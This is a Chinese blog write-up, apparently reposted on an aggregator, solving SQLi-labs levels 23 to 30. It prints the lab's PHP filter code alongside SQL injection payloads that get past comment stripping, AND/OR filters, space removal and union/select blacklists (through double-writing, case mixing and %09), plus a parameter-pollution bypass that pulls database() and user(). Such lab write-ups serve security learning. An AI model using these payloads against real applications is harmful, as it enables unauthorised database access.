Sqli靶场23-->30

不知不觉鸽了几天了,没办法去旅游摸鱼是这样的了,抓紧时间来小更一下

                                

23.过滤注释符号

先手工注入一下,就能发现两个单引号不报错,但是一旦上到注释符号的话就会报错,可以猜测出是对注释符号进行了过滤,我们也去看一下源码!!

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

不难发现,源代码的意思就是将 # -- 这两个注释符号替换成空,那很简单我们不注释就好了

不多说下一关!!

24.二次注入

这个关卡在前面讲过,就不多赘述,有兴趣的话可以翻一下我前面的文章

25.小小过滤and,编码秒了

这一关从它的提示都能发现他过滤了and和or,但是没有过滤编码(我猜的

于是就开始poc:

1'+%26%26+1=1--+

成功能够看见返回(Hint:在sql中and和&&的作用都是一样的)

26.过滤我and?还过滤我空格?但是无伤大雅

这一关一开始我是没有看提示的,直接手工注入,字符型,没跑

然后注释测试发现又给我过滤了,于是就写这样的poc

id=1'+and+1='1

不出意外,报错。。。。。。于是就在想是不是and导致的报错,于是poc就有

id=1'and'

回显正常,说明是and被过滤,尝试编码绕过

 没有回显(报错),说明是and被过滤, 而且%26%26被成功解析

于是继续我们的poc

id=1'+%26%26+1='1

 发现能成功回显,然后其实完全就到此为止了,但是,!@@@@!!!!

看一眼提示?其实就能发现它对空格也进行了过滤,但是没有什么关系,因为就算sql语句堆在一起,只要不触碰到关键词,都是会执行的,但是如果你想完美 加个/**/就好

27.and?三次绕过&&大小写

这题其实完全可以直接用and秒了,但是既然他都已经在暗示我过滤了select 和union了 那我怎么好意思不绕一下waf 开始poc(因为注释被过滤,所以select的最后一个要是'包裹)

321331231'+union+select+1,2,'1 

看看被过滤成了啥?好家伙,空格,union select 你是吞的一个不剩😓😓

那我们分别试一下双写一下试试?发现union和tab(%09)是出来了,但是我select呢??

321331231'+uniunionon%09seselectlect%091,2,'1 

于是试一下大小写?,成功绕过WAF

321331231'+uniunionon%09SelEct%091,user(),'1 

 这样就做出来了,但是还是得去看一下源代码,(为了日后的代码审计)

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 可以看到首先它是过滤了/ 和*
  • 然后将 -- #这些过滤掉
  • 接着就是空格了
  • 接下来就是select 了可以看见它前前后后一共过滤了两次,所以这就是为什么我们对select双写没有用的原因
  • 然后就是对union进行替换,而且是只替换一次,这里就是为什么可以进行双写绕过的原因

那么审计完代码了,其实我们是不是可以对select 进行一次三写,?这样也是可以的

321331231'+uniunionon%09seselecselecttlect%091,user(),'1

28.这不看源代码写的出来??牛魔WAF

这个题呃呃呃,感觉不看源代码真的绕不过这这个waf啊

                            我belike:    

来吧,先上最简单的poc:

1'%09union%09select%091,2,'3 

 发现变成了这样,双写一下试试看?

?又不过滤了

1'%09uniounionn%09seselectlect%091,2,'3

再来? 

1'%09unionunion%09selectselect%091,2,'3

  这是什么神奇waf(长见识了,其实这种就已经不在是匹配关键字)

而是匹配一种结构!!!!!!

于是就可以发现它匹配的是 union select这样的结构,那我们替换一下就好

2321312321312'%09union%09union%09selectselect%091,user(),'3

但是呢,你会收获一个这个

可以看见语句是被构造出来了,但是没有被执行,而且这个报错也不是我们常见的类型syntax error 于是我们去翻译一下      期待参数1是资源,但是却接收到了布尔值

也就是说接收到得分参数不匹配,于是去看一下源代码。。。。

sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

逆天!!!还有一个 () 怪不得一直不对,所以最终的poc就出来了

2321312321312')%09union%09union%09selectselect%091,user(),('3

29.明明可以绝杀,但是为什么要故意放水(bushi)

这一关,明明作者可以直接堵死注入点,但是他还是留了一条出路   来看!!!

首先看见这个hint就知道不简单,来看看他有多逆天

先是最简单的 1’这样的判断

发现就直接被过滤了,而且这题你会发现你怎么绕过都是这个结果,没办法,看源码

直到我看完源代码才知道什么是不是不可以,而是没有必要

先来看一个函数 whitelist

function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if($match){//echo "you are good";//return $match;}else{	header('Location: hacked.php');//echo "you are bad";}
}
  • 这里唯一要解释一下的,因该就只有$match = preg_match("/^\d+$/", $input); 了
  • 这个表示的是正则匹配传入的参数从开头到结尾是不是都是纯数字
  • 然后如果不是的话就跳转至 hacked.php 然后阻断注入

本来这个就已经是绝杀了的,但是慈祥的出题人还是给我们留下了退路(像极了老师捞人的样子)

函数java_implimentation()

function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value){$val=substr($value,0,2);if($val=="id"){$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}}}
  • 巴拉巴拉一大堆,其实就是在将传入的参数以&符号分割开来,用数组接收
  • 并且它只检查第一个id值,并且返回id后面的参数值(就是这里在放水!!)

放水还远不止于此,继续看!!!

$qs = $_SERVER['QUERY_STRING'];$hint=$qs;$id1=java_implimentation($qs);$id=$_GET['id'];//echo $id1;whitelist($id1);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其实我一直很好奇 他为什么不将$sql里面的动态插入的sql语句中的$id 换成能够通过过滤的$id1

         看的出来放水放到极致了    

所以这题的绕过方法就出来了, 写两个id

  • 第一个id为正常的数字参数,能够被正常检验,并且通过waf 然后再将后面咩有过滤的id拼接上去造成注入

于是就有最终的poc

id=1'&id=-1'+union+select+1,database(),user()--+

30.还是29关但是"

这一关还是一样,不过后面的 ' 要改成双引号 " 然后其他的都一样了 poc:

id=0&id=0"+union+select+1,user(),database()--+

 

差不多,写了七关,感觉要写到累死了,   ,后面的先鸽着,有时间再补,到时候过年的时候打算自己开一下红队,因为 我的兄弟:

我的兄弟萌,"内网,才是真正的战场,才是一个人的知识体系的最终融合体现!!!"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/667538.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Crypto | CTF】BUUCTF 萌萌哒的八戒

天命&#xff1a;这年头连猪都有密码&#xff0c;真是奇葩&#xff0c;怪不得我一点头绪都没有 拿到软件&#xff0c;发现是.zip的压缩包&#xff0c;打不开&#xff0c;改成7z后缀名&#xff0c;打开了 发现是一张图片 也只有下面这行东西是感觉是密码了&#xff0c;又不可能…

前端面试题——Vue的双向绑定

前言 双向绑定机制是Vue中最重要的机制之一&#xff0c;甚至可以说是Vue框架的根基&#xff0c;它将数据与视图模板相分离&#xff0c;使得数据处理和页面渲染更为高效&#xff0c;同时它也是前端面试题中的常客&#xff0c;接下来让我们来了解什么是双向绑定以及其实现原理。…

eslint报错文档大量红色报错符号 不自动修正

确保eslint在工作 控制台大量报错信息 确保setting.json 开了保存的时候自动格式化代码 这个时候保存的时候代码可以自动被格式化 但是 文档中和控制台中仍然有大量的报错 信息 此时此刻说明 格式化文档的文件不是按照eslint 格式化的 可以网上找找现成可用的setting.json抄…

一站式SpringBoot学习平台:让编程变得轻松有趣!

介绍&#xff1a;Spring Boot是一个开源的Java框架&#xff0c;旨在简化Spring应用程序的开发和部署过程。 Spring Boot由Pivotal团队设计并推出&#xff0c;它的核心优势在于极大地简化了传统Spring应用的初始搭建和开发流程。具体来说&#xff0c;Spring Boot的主要特点包括&…

Bard 最新更新:全球开放访问Gemini Pro并生成图片

深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领域的领跑者。点击订阅&#xff0c;与未来同行&#xff01; 订阅&#xff1a;https://rengongzhineng.io/ 。 今…

【讲座分享】| 复旦大学张奇教授——《自然语言发表论文如何打怪升级?NLP顶会论文发表》

文章目录 1 基础关1.1 基础书籍1.2 提高书籍1.3 课程链接1.4 编程实战 2 阅读关2.1 分层过滤2.2 集团作战&#xff0c;信息获取2.3 论文如何泛读 3 动机 方向关3.1 快速发论文3.2 好的研究 4 写作关4.1 论文写作流程4.2 从读者角度出发4.3 每一部分怎么写4.3.1 Abstract摘要4.3…

Sklearn、TensorFlow 与 Keras 机器学习实用指南第三版(八)

原文&#xff1a;Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 第十八章&#xff1a;强化学习 强化学习&#xff08;RL&#xff09;是当今最激动人心的机器学习领域之一&#xff0c;也是最古老…

跟着pink老师前端入门教程-day18

3、CSS3 3D转换 生活中的环境是3D的&#xff0c;照片就是3D物体在2D平面呈现的例子 特点&#xff1a;近大远小&#xff0c;物体后面遮挡不可见 3.1 三维坐标系 三维坐标系其实就是指立体空间&#xff0c;立体空间是由3个轴共同组成的 x轴&#xff1a;水平向右 注意&#x…

SpringBoot 使用定时任务(SpringTask)

Spring3.0以后自带的task&#xff0c;可以将它看成一个轻量级的Quartz&#xff0c;而且使用起来比Quartz简单许多。 使用步骤&#xff1a; 1.导入坐标 在spring-boot-starter-web坐标中&#xff0c;就包含了SpringTask&#xff0c;所以一般的Web项目都包含了。 <depende…

基于动作合成视频、线免费使用不需要注册,支持多种视频任务:图像生成视频、文本生成视频、视频修改、视频风格化、用Transformer构建世界模型

基于动作合成视频、线免费使用不需要注册&#xff0c;支持多种视频任务&#xff1a;图像生成视频、文本生成视频、视频修改、视频风格化、用Transformer构建世界模型。 WorldDreamer无缝逐帧AI模型: 基于Transformer生成高质量电影级别视频的通用世界模型"。从20亿数据中…

问题:胚珠裸露于心皮上,无真正的果实的植物为() #经验分享#媒体

问题&#xff1a;胚珠裸露于心皮上&#xff0c;无真正的果实的植物为&#xff08;&#xff09; A.双子叶植物 B.被子植物 C.单子叶植物 D.裸子植物 参考答案如图所示

【节选】Go语言的100个错误使用场景|数据类型

Data types &#x1f31f; 章节概述&#xff1a; 基本类型涉及的常见错误 掌握 slice 和 map 的基本概念&#xff0c;避免使用时产生 bug 值的比较 低效的切片初始化&#xff08;#21&#xff09; 实现一个 conver 方法&#xff0c;将一个切片 Foo 转换成另一个类型的切片 Ba…

基于若依的ruoyi-nbcio流程管理系统自定义业务回写状态的一种新方法(二)

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a; https://gitee.com/nbacheng/n…

【MATLAB源码-第136期】基于matlab的变色龙群优化算法CSA)无人机三维路径规划,输出做短路径图和适应度曲线

操作环境&#xff1a; MATLAB 2022a 1、算法描述 变色龙群优化算法&#xff08;Chameleon Swarm Algorithm&#xff0c;CSA&#xff09;是一种新颖的群体智能优化算法&#xff0c;受到自然界中变色龙捕食和社交行为的启发。变色龙以其独特的适应能力而著称&#xff0c;能够根…

前缀和与差分

前缀和 S [ i ] Σ i j 1 A [ j ] S [ i − 1 ] A [ i ] \text{S}\left[ \text{i} \right] \underset{\text{j}1}{\overset{\text{i}}{\Sigma}}\text{A}\left[ \text{j} \right] \text{S}\left[ \text{i}-1 \right] \text{A}\left[ \text{i} \right] S[i]j1Σi​A[j]S[i−1…

后端程序员入门react笔记(一)

相关参考 react 首先&#xff0c;我们先大概了解一下什么是react以及react可以干什么。 React 是 Facebook 开源的一个用于构建用户界面的一款 JavaScript 库&#xff0c;主要用于构建 UI。 react的特点 声明式编程 react使用jsx进行渲染&#xff0c;这是一种类似html的语法…

打开双重el-dialog后出现遮罩后如何解决?

背景&#xff1a; 打开el-dialog后&#xff0c;再次打开另外一个el-dialog&#xff0c;出现以下画面。 解决方式&#xff1a;在第二个el-dialog增加append-to-body <el-dialog :close-on-click-modal“true” :visible.sync“createVisible” v-if“createVisible” :width…

BLIP-2:低计算视觉-语言预训练大模型

BLIP-2 BLIP 对比 BLIP-2BLIPBLIP-2如何在视觉和语言模型之间实现有效的信息交互&#xff0c;同时降低预训练的计算成本&#xff1f;视觉语言表示学习视觉到语言的生成学习模型架构设计 总结主要问题: 如何在计算效率和资源有限的情况下&#xff0c;有效地结合冻结的图像编码器…

Ray on ACK 实践探索之旅 - RayCluster 篇

作者&#xff1a;张杰、霍智鑫、行疾 什么是 Ray&#xff1f; Ray 是一个开源框架&#xff0c;专为构建可扩展的分布式应用程序而设计&#xff0c;旨在通过提供简单直观的 API&#xff0c;简化分布式计算的复杂性&#xff0c;让开发者能够便捷高效地编写并行和分布式 Python …

【MySQL】- 09 Select Count

【MySQL】- 09 Select Count 1认识COUNT2 COUNT(列名)、COUNT(常量)和COUNT(*)之间的区别3 COUNT(*)的优化 4 COUNT(*)和COUNT(1)5 COUNT(字段)总结 数据库查询相信很多人都不陌生&#xff0c;所有经常有人调侃程序员就是CRUD专员&#xff0c;这所谓的CRUD指的就是数据库的增删…